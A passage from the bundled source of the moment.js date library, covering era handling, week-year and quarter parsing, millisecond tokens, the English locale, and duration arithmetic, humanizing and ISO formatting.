                case 'string':
                    // truncate time
                    date = hooks(eras[i].until).startOf('day').valueOf();
                    eras[i].until = date.valueOf();
                    break;
            }
        }
        return eras;
    }

    function localeErasParse(eraName, format, strict) {
        var i,
            l,
            eras = this.eras(),
            name,
            abbr,
            narrow;
        eraName = eraName.toUpperCase();

        for (i = 0, l = eras.length; i < l; ++i) {
            name = eras[i].name.toUpperCase();
            abbr = eras[i].abbr.toUpperCase();
            narrow = eras[i].narrow.toUpperCase();

            if (strict) {
                switch (format) {
                    case 'N':
                    case 'NN':
                    case 'NNN':
                        if (abbr === eraName) {
                            return eras[i];
                        }
                        break;

                    case 'NNNN':
                        if (name === eraName) {
                            return eras[i];
                        }
                        break;

                    case 'NNNNN':
                        if (narrow === eraName) {
                            return eras[i];
                        }
                        break;
                }
            } else if ([name, abbr, narrow].indexOf(eraName) >= 0) {
                return eras[i];
            }
        }
    }

    function localeErasConvertYear(era, year) {
        var dir = era.since <= era.until ? +1 : -1;
        if (year === undefined) {
            return hooks(era.since).year();
        } else {
            return hooks(era.since).year() + (year - era.offset) * dir;
        }
    }

    function getEraName() {
        var i,
            l,
            val,
            eras = this.localeData().eras();
        for (i = 0, l = eras.length; i < l; ++i) {
            // truncate time
            val = this.clone().startOf('day').valueOf();

            if (eras[i].since <= val && val <= eras[i].until) {
                return eras[i].name;
            }
            if (eras[i].until <= val && val <= eras[i].since) {
                return eras[i].name;
            }
        }

        return '';
    }

    function getEraNarrow() {
        var i,
            l,
            val,
            eras = this.localeData().eras();
        for (i = 0, l = eras.length; i < l; ++i) {
            // truncate time
            val = this.clone().startOf('day').valueOf();

            if (eras[i].since <= val && val <= eras[i].until) {
                return eras[i].narrow;
            }
            if (eras[i].until <= val && val <= eras[i].since) {
                return eras[i].narrow;
            }
        }

        return '';
    }

    function getEraAbbr() {
        var i,
            l,
            val,
            eras = this.localeData().eras();
        for (i = 0, l = eras.length; i < l; ++i) {
            // truncate time
            val = this.clone().startOf('day').valueOf();

            if (eras[i].since <= val && val <= eras[i].until) {
                return eras[i].abbr;
            }
            if (eras[i].until <= val && val <= eras[i].since) {
                return eras[i].abbr;
            }
        }

        return '';
    }

    function getEraYear() {
        var i,
            l,
            dir,
            val,
            eras = this.localeData().eras();
        for (i = 0, l = eras.length; i < l; ++i) {
            dir = eras[i].since <= eras[i].until ? +1 : -1;

            // truncate time
            val = this.clone().startOf('day').valueOf();

            if (
                (eras[i].since <= val && val <= eras[i].until) ||
                (eras[i].until <= val && val <= eras[i].since)
            ) {
                return (
                    (this.year() - hooks(eras[i].since).year()) * dir +
                    eras[i].offset
                );
            }
        }

        return this.year();
    }

    function erasNameRegex(isStrict) {
        if (!hasOwnProp(this, '_erasNameRegex')) {
            computeErasParse.call(this);
        }
        return isStrict ? this._erasNameRegex : this._erasRegex;
    }

    function erasAbbrRegex(isStrict) {
        if (!hasOwnProp(this, '_erasAbbrRegex')) {
            computeErasParse.call(this);
        }
        return isStrict ? this._erasAbbrRegex : this._erasRegex;
    }

    function erasNarrowRegex(isStrict) {
        if (!hasOwnProp(this, '_erasNarrowRegex')) {
            computeErasParse.call(this);
        }
        return isStrict ? this._erasNarrowRegex : this._erasRegex;
    }

    function matchEraAbbr(isStrict, locale) {
        return locale.erasAbbrRegex(isStrict);
    }

    function matchEraName(isStrict, locale) {
        return locale.erasNameRegex(isStrict);
    }

    function matchEraNarrow(isStrict, locale) {
        return locale.erasNarrowRegex(isStrict);
    }

    function matchEraYearOrdinal(isStrict, locale) {
        return locale._eraYearOrdinalRegex || matchUnsigned;
    }

    function computeErasParse() {
        var abbrPieces = [],
            namePieces = [],
            narrowPieces = [],
            mixedPieces = [],
            i,
            l,
            erasName,
            erasAbbr,
            erasNarrow,
            eras = this.eras();

        for (i = 0, l = eras.length; i < l; ++i) {
            erasName = regexEscape(eras[i].name);
            erasAbbr = regexEscape(eras[i].abbr);
            erasNarrow = regexEscape(eras[i].narrow);

            namePieces.push(erasName);
            abbrPieces.push(erasAbbr);
            narrowPieces.push(erasNarrow);
            mixedPieces.push(erasName);
            mixedPieces.push(erasAbbr);
            mixedPieces.push(erasNarrow);
        }

        this._erasRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i');
        this._erasNameRegex = new RegExp('^(' + namePieces.join('|') + ')', 'i');
        this._erasAbbrRegex = new RegExp('^(' + abbrPieces.join('|') + ')', 'i');
        this._erasNarrowRegex = new RegExp(
            '^(' + narrowPieces.join('|') + ')',
            'i'
        );
    }

    // FORMATTING

    addFormatToken(0, ['gg', 2], 0, function () {
        return this.weekYear() % 100;
    });

    addFormatToken(0, ['GG', 2], 0, function () {
        return this.isoWeekYear() % 100;
    });

    function addWeekYearFormatToken(token, getter) {
        addFormatToken(0, [token, token.length], 0, getter);
    }

    addWeekYearFormatToken('gggg', 'weekYear');
    addWeekYearFormatToken('ggggg', 'weekYear');
    addWeekYearFormatToken('GGGG', 'isoWeekYear');
    addWeekYearFormatToken('GGGGG', 'isoWeekYear');

    // ALIASES

    // PARSING

    addRegexToken('G', matchSigned);
    addRegexToken('g', matchSigned);
    addRegexToken('GG', match1to2, match2);
    addRegexToken('gg', match1to2, match2);
    addRegexToken('GGGG', match1to4, match4);
    addRegexToken('gggg', match1to4, match4);
    addRegexToken('GGGGG', match1to6, match6);
    addRegexToken('ggggg', match1to6, match6);

    addWeekParseToken(
        ['gggg', 'ggggg', 'GGGG', 'GGGGG'],
        function (input, week, config, token) {
            week[token.substr(0, 2)] = toInt(input);
        }
    );

    addWeekParseToken(['gg', 'GG'], function (input, week, config, token) {
        week[token] = hooks.parseTwoDigitYear(input);
    });

    // MOMENTS

    function getSetWeekYear(input) {
        return getSetWeekYearHelper.call(
            this,
            input,
            this.week(),
            this.weekday() + this.localeData()._week.dow,
            this.localeData()._week.dow,
            this.localeData()._week.doy
        );
    }

    function getSetISOWeekYear(input) {
        return getSetWeekYearHelper.call(
            this,
            input,
            this.isoWeek(),
            this.isoWeekday(),
            1,
            4
        );
    }

    function getISOWeeksInYear() {
        return weeksInYear(this.year(), 1, 4);
    }

    function getISOWeeksInISOWeekYear() {
        return weeksInYear(this.isoWeekYear(), 1, 4);
    }

    function getWeeksInYear() {
        var weekInfo = this.localeData()._week;
        return weeksInYear(this.year(), weekInfo.dow, weekInfo.doy);
    }

    function getWeeksInWeekYear() {
        var weekInfo = this.localeData()._week;
        return weeksInYear(this.weekYear(), weekInfo.dow, weekInfo.doy);
    }

    function getSetWeekYearHelper(input, week, weekday, dow, doy) {
        var weeksTarget;
        if (input == null) {
            return weekOfYear(this, dow, doy).year;
        } else {
            weeksTarget = weeksInYear(input, dow, doy);
            if (week > weeksTarget) {
                week = weeksTarget;
            }
            return setWeekAll.call(this, input, week, weekday, dow, doy);
        }
    }

    function setWeekAll(weekYear, week, weekday, dow, doy) {
        var dayOfYearData = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy),
            date = createUTCDate(dayOfYearData.year, 0, dayOfYearData.dayOfYear);

        this.year(date.getUTCFullYear());
        this.month(date.getUTCMonth());
        this.date(date.getUTCDate());
        return this;
    }

    // FORMATTING

    addFormatToken('Q', 0, 'Qo', 'quarter');

    // PARSING

    addRegexToken('Q', match1);
    addParseToken('Q', function (input, array) {
        array[MONTH] = (toInt(input) - 1) * 3;
    });

    // MOMENTS

    function getSetQuarter(input) {
        return input == null
            ? Math.ceil((this.month() + 1) / 3)
            : this.month((input - 1) * 3 + (this.month() % 3));
    }

    // FORMATTING

    addFormatToken('D', ['DD', 2], 'Do', 'date');

    // PARSING

    addRegexToken('D', match1to2, match1to2NoLeadingZero);
    addRegexToken('DD', match1to2, match2);
    addRegexToken('Do', function (isStrict, locale) {
        // TODO: Remove "ordinalParse" fallback in next major release.
        return isStrict
            ? locale._dayOfMonthOrdinalParse || locale._ordinalParse
            : locale._dayOfMonthOrdinalParseLenient;
    });

    addParseToken(['D', 'DD'], DATE);
    addParseToken('Do', function (input, array) {
        array[DATE] = toInt(input.match(match1to2)[0]);
    });

    // MOMENTS

    var getSetDayOfMonth = makeGetSet('Date', true);

    // FORMATTING

    addFormatToken('DDD', ['DDDD', 3], 'DDDo', 'dayOfYear');

    // PARSING

    addRegexToken('DDD', match1to3);
    addRegexToken('DDDD', match3);
    addParseToken(['DDD', 'DDDD'], function (input, array, config) {
        config._dayOfYear = toInt(input);
    });

    // HELPERS

    // MOMENTS

    function getSetDayOfYear(input) {
        var dayOfYear =
            Math.round(
                (this.clone().startOf('day') - this.clone().startOf('year')) / 864e5
            ) + 1;
        return input == null ? dayOfYear : this.add(input - dayOfYear, 'd');
    }

    // FORMATTING

    addFormatToken('m', ['mm', 2], 0, 'minute');

    // PARSING

    addRegexToken('m', match1to2, match1to2HasZero);
    addRegexToken('mm', match1to2, match2);
    addParseToken(['m', 'mm'], MINUTE);

    // MOMENTS

    var getSetMinute = makeGetSet('Minutes', false);

    // FORMATTING

    addFormatToken('s', ['ss', 2], 0, 'second');

    // PARSING

    addRegexToken('s', match1to2, match1to2HasZero);
    addRegexToken('ss', match1to2, match2);
    addParseToken(['s', 'ss'], SECOND);

    // MOMENTS

    var getSetSecond = makeGetSet('Seconds', false);

    // FORMATTING

    addFormatToken('S', 0, 0, function () {
        return ~~(this.millisecond() / 100);
    });

    addFormatToken(0, ['SS', 2], 0, function () {
        return ~~(this.millisecond() / 10);
    });

    addFormatToken(0, ['SSS', 3], 0, 'millisecond');
    addFormatToken(0, ['SSSS', 4], 0, function () {
        return this.millisecond() * 10;
    });
    addFormatToken(0, ['SSSSS', 5], 0, function () {
        return this.millisecond() * 100;
    });
    addFormatToken(0, ['SSSSSS', 6], 0, function () {
        return this.millisecond() * 1000;
    });
    addFormatToken(0, ['SSSSSSS', 7], 0, function () {
        return this.millisecond() * 10000;
    });
    addFormatToken(0, ['SSSSSSSS', 8], 0, function () {
        return this.millisecond() * 100000;
    });
    addFormatToken(0, ['SSSSSSSSS', 9], 0, function () {
        return this.millisecond() * 1000000;
    });

    // PARSING

    addRegexToken('S', match1to3, match1);
    addRegexToken('SS', match1to3, match2);
    addRegexToken('SSS', match1to3, match3);

    var token, getSetMillisecond;
    for (token = 'SSSS'; token.length <= 9; token += 'S') {
        addRegexToken(token, matchUnsigned);
    }

    function parseMs(input, array) {
        array[MILLISECOND] = toInt(('0.' + input) * 1000);
    }

    for (token = 'S'; token.length <= 9; token += 'S') {
        addParseToken(token, parseMs);
    }

    getSetMillisecond = makeGetSet('Milliseconds', false);

    // FORMATTING

    addFormatToken('z', 0, 0, 'zoneAbbr');
    addFormatToken('zz', 0, 0, 'zoneName');

    // MOMENTS

    function getZoneAbbr() {
        return this._isUTC ? 'UTC' : '';
    }

    function getZoneName() {
        return this._isUTC ? 'Coordinated Universal Time' : '';
    }

    var proto = Moment.prototype;

    proto.add = add;
    proto.calendar = calendar$1;
    proto.clone = clone;
    proto.diff = diff;
    proto.endOf = endOf;
    proto.format = format;
    proto.from = from;
    proto.fromNow = fromNow;
    proto.to = to;
    proto.toNow = toNow;
    proto.get = stringGet;
    proto.invalidAt = invalidAt;
    proto.isAfter = isAfter;
    proto.isBefore = isBefore;
    proto.isBetween = isBetween;
    proto.isSame = isSame;
    proto.isSameOrAfter = isSameOrAfter;
    proto.isSameOrBefore = isSameOrBefore;
    proto.isValid = isValid$2;
    proto.lang = lang;
    proto.locale = locale;
    proto.localeData = localeData;
    proto.max = prototypeMax;
    proto.min = prototypeMin;
    proto.parsingFlags = parsingFlags;
    proto.set = stringSet;
    proto.startOf = startOf;
    proto.subtract = subtract;
    proto.toArray = toArray;
    proto.toObject = toObject;
    proto.toDate = toDate;
    proto.toISOString = toISOString;
    proto.inspect = inspect;
    if (typeof Symbol !== 'undefined' && Symbol.for != null) {
        proto[Symbol.for('nodejs.util.inspect.custom')] = function () {
            return 'Moment<' + this.format() + '>';
        };
    }
    proto.toJSON = toJSON;
    proto.toString = toString;
    proto.unix = unix;
    proto.valueOf = valueOf;
    proto.creationData = creationData;
    proto.eraName = getEraName;
    proto.eraNarrow = getEraNarrow;
    proto.eraAbbr = getEraAbbr;
    proto.eraYear = getEraYear;
    proto.year = getSetYear;
    proto.isLeapYear = getIsLeapYear;
    proto.weekYear = getSetWeekYear;
    proto.isoWeekYear = getSetISOWeekYear;
    proto.quarter = proto.quarters = getSetQuarter;
    proto.month = getSetMonth;
    proto.daysInMonth = getDaysInMonth;
    proto.week = proto.weeks = getSetWeek;
    proto.isoWeek = proto.isoWeeks = getSetISOWeek;
    proto.weeksInYear = getWeeksInYear;
    proto.weeksInWeekYear = getWeeksInWeekYear;
    proto.isoWeeksInYear = getISOWeeksInYear;
    proto.isoWeeksInISOWeekYear = getISOWeeksInISOWeekYear;
    proto.date = getSetDayOfMonth;
    proto.day = proto.days = getSetDayOfWeek;
    proto.weekday = getSetLocaleDayOfWeek;
    proto.isoWeekday = getSetISODayOfWeek;
    proto.dayOfYear = getSetDayOfYear;
    proto.hour = proto.hours = getSetHour;
    proto.minute = proto.minutes = getSetMinute;
    proto.second = proto.seconds = getSetSecond;
    proto.millisecond = proto.milliseconds = getSetMillisecond;
    proto.utcOffset = getSetOffset;
    proto.utc = setOffsetToUTC;
    proto.local = setOffsetToLocal;
    proto.parseZone = setOffsetToParsedOffset;
    proto.hasAlignedHourOffset = hasAlignedHourOffset;
    proto.isDST = isDaylightSavingTime;
    proto.isLocal = isLocal;
    proto.isUtcOffset = isUtcOffset;
    proto.isUtc = isUtc;
    proto.isUTC = isUtc;
    proto.zoneAbbr = getZoneAbbr;
    proto.zoneName = getZoneName;
    proto.dates = deprecate(
        'dates accessor is deprecated. Use date instead.',
        getSetDayOfMonth
    );
    proto.months = deprecate(
        'months accessor is deprecated. Use month instead',
        getSetMonth
    );
    proto.years = deprecate(
        'years accessor is deprecated. Use year instead',
        getSetYear
    );
    proto.zone = deprecate(
        'moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/',
        getSetZone
    );
    proto.isDSTShifted = deprecate(
        'isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information',
        isDaylightSavingTimeShifted
    );

    function createUnix(input) {
        return createLocal(input * 1000);
    }

    function createInZone() {
        return createLocal.apply(null, arguments).parseZone();
    }

    function preParsePostFormat(string) {
        return string;
    }

    var proto$1 = Locale.prototype;

    proto$1.calendar = calendar;
    proto$1.longDateFormat = longDateFormat;
    proto$1.invalidDate = invalidDate;
    proto$1.ordinal = ordinal;
    proto$1.preparse = preParsePostFormat;
    proto$1.postformat = preParsePostFormat;
    proto$1.relativeTime = relativeTime;
    proto$1.pastFuture = pastFuture;
    proto$1.set = set;
    proto$1.eras = localeEras;
    proto$1.erasParse = localeErasParse;
    proto$1.erasConvertYear = localeErasConvertYear;
    proto$1.erasAbbrRegex = erasAbbrRegex;
    proto$1.erasNameRegex = erasNameRegex;
    proto$1.erasNarrowRegex = erasNarrowRegex;

    proto$1.months = localeMonths;
    proto$1.monthsShort = localeMonthsShort;
    proto$1.monthsParse = localeMonthsParse;
    proto$1.monthsRegex = monthsRegex;
    proto$1.monthsShortRegex = monthsShortRegex;
    proto$1.week = localeWeek;
    proto$1.firstDayOfYear = localeFirstDayOfYear;
    proto$1.firstDayOfWeek = localeFirstDayOfWeek;

    proto$1.weekdays = localeWeekdays;
    proto$1.weekdaysMin = localeWeekdaysMin;
    proto$1.weekdaysShort = localeWeekdaysShort;
    proto$1.weekdaysParse = localeWeekdaysParse;

    proto$1.weekdaysRegex = weekdaysRegex;
    proto$1.weekdaysShortRegex = weekdaysShortRegex;
    proto$1.weekdaysMinRegex = weekdaysMinRegex;

    proto$1.isPM = localeIsPM;
    proto$1.meridiem = localeMeridiem;

    function get$1(format, index, field, setter) {
        var locale = getLocale(),
            utc = createUTC().set(setter, index);
        return locale[field](utc, format);
    }

    function listMonthsImpl(format, index, field) {
        if (isNumber(format)) {
            index = format;
            format = undefined;
        }

        format = format || '';

        if (index != null) {
            return get$1(format, index, field, 'month');
        }

        var i,
            out = [];
        for (i = 0; i < 12; i++) {
            out[i] = get$1(format, i, field, 'month');
        }
        return out;
    }

    // ()
    // (5)
    // (fmt, 5)
    // (fmt)
    // (true)
    // (true, 5)
    // (true, fmt, 5)
    // (true, fmt)
    function listWeekdaysImpl(localeSorted, format, index, field) {
        if (typeof localeSorted === 'boolean') {
            if (isNumber(format)) {
                index = format;
                format = undefined;
            }

            format = format || '';
        } else {
            format = localeSorted;
            index = format;
            localeSorted = false;

            if (isNumber(format)) {
                index = format;
                format = undefined;
            }

            format = format || '';
        }

        var locale = getLocale(),
            shift = localeSorted ? locale._week.dow : 0,
            i,
            out = [];

        if (index != null) {
            return get$1(format, (index + shift) % 7, field, 'day');
        }

        for (i = 0; i < 7; i++) {
            out[i] = get$1(format, (i + shift) % 7, field, 'day');
        }
        return out;
    }

    function listMonths(format, index) {
        return listMonthsImpl(format, index, 'months');
    }

    function listMonthsShort(format, index) {
        return listMonthsImpl(format, index, 'monthsShort');
    }

    function listWeekdays(localeSorted, format, index) {
        return listWeekdaysImpl(localeSorted, format, index, 'weekdays');
    }

    function listWeekdaysShort(localeSorted, format, index) {
        return listWeekdaysImpl(localeSorted, format, index, 'weekdaysShort');
    }

    function listWeekdaysMin(localeSorted, format, index) {
        return listWeekdaysImpl(localeSorted, format, index, 'weekdaysMin');
    }

    getSetGlobalLocale('en', {
        eras: [
            {
                since: '0001-01-01',
                until: +Infinity,
                offset: 1,
                name: 'Anno Domini',
                narrow: 'AD',
                abbr: 'AD',
            },
            {
                since: '0000-12-31',
                until: -Infinity,
                offset: 1,
                name: 'Before Christ',
                narrow: 'BC',
                abbr: 'BC',
            },
        ],
        dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/,
        ordinal: function (number) {
            var b = number % 10,
                output =
                    toInt((number % 100) / 10) === 1
                        ? 'th'
                        : b === 1
                          ? 'st'
                          : b === 2
                            ? 'nd'
                            : b === 3
                              ? 'rd'
                              : 'th';
            return number + output;
        },
    });

    // Side effect imports

    hooks.lang = deprecate(
        'moment.lang is deprecated. Use moment.locale instead.',
        getSetGlobalLocale
    );
    hooks.langData = deprecate(
        'moment.langData is deprecated. Use moment.localeData instead.',
        getLocale
    );

    var mathAbs = Math.abs;

    function abs() {
        var data = this._data;

        this._milliseconds = mathAbs(this._milliseconds);
        this._days = mathAbs(this._days);
        this._months = mathAbs(this._months);

        data.milliseconds = mathAbs(data.milliseconds);
        data.seconds = mathAbs(data.seconds);
        data.minutes = mathAbs(data.minutes);
        data.hours = mathAbs(data.hours);
        data.months = mathAbs(data.months);
        data.years = mathAbs(data.years);

        return this;
    }

    function addSubtract$1(duration, input, value, direction) {
        var other = createDuration(input, value);

        duration._milliseconds += direction * other._milliseconds;
        duration._days += direction * other._days;
        duration._months += direction * other._months;

        return duration._bubble();
    }

    // supports only 2.0-style add(1, 's') or add(duration)
    function add$1(input, value) {
        return addSubtract$1(this, input, value, 1);
    }

    // supports only 2.0-style subtract(1, 's') or subtract(duration)
    function subtract$1(input, value) {
        return addSubtract$1(this, input, value, -1);
    }

    function absCeil(number) {
        if (number < 0) {
            return Math.floor(number);
        } else {
            return Math.ceil(number);
        }
    }

    function bubble() {
        var milliseconds = this._milliseconds,
            days = this._days,
            months = this._months,
            data = this._data,
            seconds,
            minutes,
            hours,
            years,
            monthsFromDays;

        // if we have a mix of positive and negative values, bubble down first
        // check: https://github.com/moment/moment/issues/2166
        if (
            !(
                (milliseconds >= 0 && days >= 0 && months >= 0) ||
                (milliseconds <= 0 && days <= 0 && months <= 0)
            )
        ) {
            milliseconds += absCeil(monthsToDays(months) + days) * 864e5;
            days = 0;
            months = 0;
        }

        // The following code bubbles up values, see the tests for
        // examples of what that means.
        data.milliseconds = milliseconds % 1000;

        seconds = absFloor(milliseconds / 1000);
        data.seconds = seconds % 60;

        minutes = absFloor(seconds / 60);
        data.minutes = minutes % 60;

        hours = absFloor(minutes / 60);
        data.hours = hours % 24;

        days += absFloor(hours / 24);

        // convert days to months
        monthsFromDays = absFloor(daysToMonths(days));
        months += monthsFromDays;
        days -= absCeil(monthsToDays(monthsFromDays));

        // 12 months -> 1 year
        years = absFloor(months / 12);
        months %= 12;

        data.days = days;
        data.months = months;
        data.years = years;

        return this;
    }

    function daysToMonths(days) {
        // 400 years have 146097 days (taking into account leap year rules)
        // 400 years have 12 months === 4800
        return (days * 4800) / 146097;
    }

    function monthsToDays(months) {
        // the reverse of daysToMonths
        return (months * 146097) / 4800;
    }

    function as(units) {
        if (!this.isValid()) {
            return NaN;
        }
        var days,
            months,
            milliseconds = this._milliseconds;

        units = normalizeUnits(units);

        if (units === 'month' || units === 'quarter' || units === 'year') {
            days = this._days + milliseconds / 864e5;
            months = this._months + daysToMonths(days);
            switch (units) {
                case 'month':
                    return months;
                case 'quarter':
                    return months / 3;
                case 'year':
                    return months / 12;
            }
        } else {
            // handle milliseconds separately because of floating point math errors (issue #1867)
            days = this._days + Math.round(monthsToDays(this._months));
            switch (units) {
                case 'week':
                    return days / 7 + milliseconds / 6048e5;
                case 'day':
                    return days + milliseconds / 864e5;
                case 'hour':
                    return days * 24 + milliseconds / 36e5;
                case 'minute':
                    return days * 1440 + milliseconds / 6e4;
                case 'second':
                    return days * 86400 + milliseconds / 1000;
                // Math.floor prevents floating point math errors here
                case 'millisecond':
                    return Math.floor(days * 864e5) + milliseconds;
                default:
                    throw new Error('Unknown unit ' + units);
            }
        }
    }

    function makeAs(alias) {
        return function () {
            return this.as(alias);
        };
    }

    var asMilliseconds = makeAs('ms'),
        asSeconds = makeAs('s'),
        asMinutes = makeAs('m'),
        asHours = makeAs('h'),
        asDays = makeAs('d'),
        asWeeks = makeAs('w'),
        asMonths = makeAs('M'),
        asQuarters = makeAs('Q'),
        asYears = makeAs('y'),
        valueOf$1 = asMilliseconds;

    function clone$1() {
        return createDuration(this);
    }

    function get$2(units) {
        units = normalizeUnits(units);
        return this.isValid() ? this[units + 's']() : NaN;
    }

    function makeGetter(name) {
        return function () {
            return this.isValid() ? this._data[name] : NaN;
        };
    }

    var milliseconds = makeGetter('milliseconds'),
        seconds = makeGetter('seconds'),
        minutes = makeGetter('minutes'),
        hours = makeGetter('hours'),
        days = makeGetter('days'),
        months = makeGetter('months'),
        years = makeGetter('years');

    function weeks() {
        return absFloor(this.days() / 7);
    }

    var round = Math.round,
        thresholds = {
            ss: 44, // a few seconds to seconds
            s: 45, // seconds to minute
            m: 45, // minutes to hour
            h: 22, // hours to day
            d: 26, // days to month/week
            w: null, // weeks to month
            M: 11, // months to year
        };

    // helper function for moment.fn.from, moment.fn.fromNow, and moment.duration.fn.humanize
    function substituteTimeAgo(string, number, withoutSuffix, isFuture, locale) {
        return locale.relativeTime(number || 1, !!withoutSuffix, string, isFuture);
    }

    function relativeTime$1(posNegDuration, withoutSuffix, thresholds, locale) {
        var duration = createDuration(posNegDuration).abs(),
            seconds = round(duration.as('s')),
            minutes = round(duration.as('m')),
            hours = round(duration.as('h')),
            days = round(duration.as('d')),
            months = round(duration.as('M')),
            weeks = round(duration.as('w')),
            years = round(duration.as('y')),
            a =
                (seconds <= thresholds.ss && ['s', seconds]) ||
                (seconds < thresholds.s && ['ss', seconds]) ||
                (minutes <= 1 && ['m']) ||
                (minutes < thresholds.m && ['mm', minutes]) ||
                (hours <= 1 && ['h']) ||
                (hours < thresholds.h && ['hh', hours]) ||
                (days <= 1 && ['d']) ||
                (days < thresholds.d && ['dd', days]);

        if (thresholds.w != null) {
            a =
                a ||
                (weeks <= 1 && ['w']) ||
                (weeks < thresholds.w && ['ww', weeks]);
        }
        a = a ||
            (months <= 1 && ['M']) ||
            (months < thresholds.M && ['MM', months]) ||
            (years <= 1 && ['y']) || ['yy', years];

        a[2] = withoutSuffix;
        a[3] = +posNegDuration > 0;
        a[4] = locale;
        return substituteTimeAgo.apply(null, a);
    }

    // This function allows you to set the rounding function for relative time strings
    function getSetRelativeTimeRounding(roundingFunction) {
        if (roundingFunction === undefined) {
            return round;
        }
        if (typeof roundingFunction === 'function') {
            round = roundingFunction;
            return true;
        }
        return false;
    }

    // This function allows you to set a threshold for relative time strings
    function getSetRelativeTimeThreshold(threshold, limit) {
        if (thresholds[threshold] === undefined) {
            return false;
        }
        if (limit === undefined) {
            return thresholds[threshold];
        }
        thresholds[threshold] = limit;
        if (threshold === 's') {
            thresholds.ss = limit - 1;
        }
        return true;
    }

    function humanize(argWithSuffix, argThresholds) {
        if (!this.isValid()) {
            return this.localeData().invalidDate();
        }

        var withSuffix = false,
            th = thresholds,
            locale,
            output;

        if (typeof argWithSuffix === 'object') {
            argThresholds = argWithSuffix;
            argWithSuffix = false;
        }
        if (typeof argWithSuffix === 'boolean') {
            withSuffix = argWithSuffix;
        }
        if (typeof argThresholds === 'object') {
            th = Object.assign({}, thresholds, argThresholds);
            if (argThresholds.s != null && argThresholds.ss == null) {
                th.ss = argThresholds.s - 1;
            }
        }

        locale = this.localeData();
        output = relativeTime$1(this, !withSuffix, th, locale);

        if (withSuffix) {
            output = locale.pastFuture(+this, output);
        }

        return locale.postformat(output);
    }

    var abs$1 = Math.abs;

    function sign(x) {
        return (x > 0) - (x < 0) || +x;
    }

    function toISOString$1() {
        // for ISO strings we do not use the normal bubbling rules:
        //  * milliseconds bubble up until they become hours
        //  * days do not bubble at all
        //  * months bubble up until they become years
        // This is because there is no context-free conversion between hours and days
        // (think of clock changes)
        // and also not between days and months (28-31 days per month)
        if (!this.isValid()) {
            return this.localeData().invalidDate();
        }

        var seconds = abs$1(this._milliseconds) / 1000,
            days = abs$1(this._days),
            months = abs$1(this._months),
            minutes,
            hours,
            years,
            s,
            total = this.asSeconds(),
            totalSign,
            ymSign,
            daysSign,
            hmsSign;

        if (!total) {
            // this is the same as C#'s (Noda) and python (isodate)...
            // but not other JS (goog.date)
            return 'P0D';
        }

        // 3600 seconds -> 60 minutes -> 1 hour
        minutes = absFloor(seconds / 60);
        hours = absFloor(minutes / 60);
        seconds %= 60;
        minutes %= 60;

        // 12 months -> 1 year
        years = absFloor(months / 12);
        months %= 12;

        // inspired by https://github.com/dordille/moment-isoduration/blob/master/moment.isoduration.js
        s = seconds ? seconds.toFixed(3).replace(/\.?0+$/, '') : '';

        totalSign = total < 0 ? '-' : '';
        ymSign = sign(this._months) !== sign(total) ? '-' : '';
        daysSign = sign(this._days) !== sign(total) ? '-' : '';
        hmsSign = sign(this._milliseconds) !== sign(total) ? '-' : '';

        return (
            totalSign +
            'P' +
            (years ? ymSign + years + 'Y' : '') +
            (months ? ymSign + months + 'M' : '') +
            (days ? daysSign + days + 'D' : '') +
            (hours || minutes || seconds ? 'T' : '') +
            (hours ? hmsSign + hours + 'H' : '') +
            (minutes ? hmsSign + minutes + 'M' : '') +
            (seconds ? hmsSign + s + 'S' : '')
        );
    }

    var proto$2 = Duration.prototype;

    proto$2.isValid = isValid$1;
    proto$2.abs = abs;
    proto$2.add = add$1;
    proto$2.subtract = subtract$1;
    proto$2.as = as;
    proto$2.asMilliseconds = asMilliseconds;
    proto$2.asSeconds = asSeconds;
    proto$2.asMinutes = asMinutes;
    proto$2.asHours = asHours;
    proto$2.asDays = asDays;
    proto$2.asWeeks = asWeeks;
    proto$2.asMonths = asMonths;
    proto$2.asQuarters = asQuarters;
    proto$2.asYears = asYears;
    proto$2.valueOf = valueOf$1;
    proto$2._bubble = bubble;
    proto$2.clone = clone$1;
    proto$2.get = get$2;
    proto$2.milliseconds = milliseconds;
    proto$2.seconds = seconds;
    proto$2.minutes = minutes;
    proto$2.hours = hours;
    proto$2.days = days;
    proto$2.weeks = weeks;
    proto$2.months = months;
    proto$2.years = years;
    proto$2.humanize = humanize;
    proto$2.toISOString = toISOString$1;
    proto$2.toString = toISOString$1;
    proto$2.toJSON = toISOString$1;
    proto$2.locale = locale;
    proto$2.localeData = localeData;

    proto$2.toIsoString = deprecate(
        'toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)',
        toISOString$1
    );
    proto$2.lang = lang;

    // FORMATTING

    addFormatToken('X', 0, 0, 'unix');
    addFormatToken('x', 0, 0, 'valueOf');

    // PARSING

    addRegexToken('x', matchSigned);
    addRegexToken('X', matchTimestamp);
    addParseToken('X', function (input, array, config) {
        config._d = new Date(parseFloat(input) * 1000);
    });
    addParseToken('x', function (input, array, config) {
        config._d = new Date(toInt(input));
    });

    //! moment.js

    hooks.version = '2.30.1';

    setHookCallback(createLocal);

    hooks.fn = proto;
    hooks.min = min;
    hooks.max = max;
    hooks.now = now;
    hooks.utc = createUTC;
    hooks.unix = createUnix;
    hooks.months = listMonths;
    hooks.isDate = isDate;
    hooks.locale = getSetGlobalLocale;
    hooks.invalid = createInvalid;
    hooks.duration = createDuration;
    hooks.isMoment = isMoment;
    hooks.weekdays = listWeekdays;
    hooks.parseZone = createInZone;
    hooks.localeData = getLocale;
    hooks.isDuration = isDuration;
    hooks.monthsShort = listMonthsShort;
    hooks.weekdaysMin = listWeekdaysMin;
    hooks.defineLocale = defineLocale;
    hooks.updateLocale = updateLocale;
    hooks.locales = listLocales;
    hooks.weekdaysShort = listWeekdaysShort;
    hooks.normalizeUnits = normalizeUnits;
    hooks.relativeTimeRounding = getSetRelativeTimeRounding;
    hooks.relativeTimeThreshold = getSetRelativeTimeThreshold;
    hooks.calendarFormat = getCalendarFormat;
    hooks.prototype = proto;

    // currently HTML5 input type only supports 24-hour formats
    hooks.HTML5_FMT = {
        DATETIME_LOCAL: 'YYYY-MM-DDTHH:mm', // <input type="datetime-local" />
        DATETIME_LOCAL_SECONDS: 'YYYY-MM-DDTHH:mm:ss', // <input type="datetime-local" step="1" />
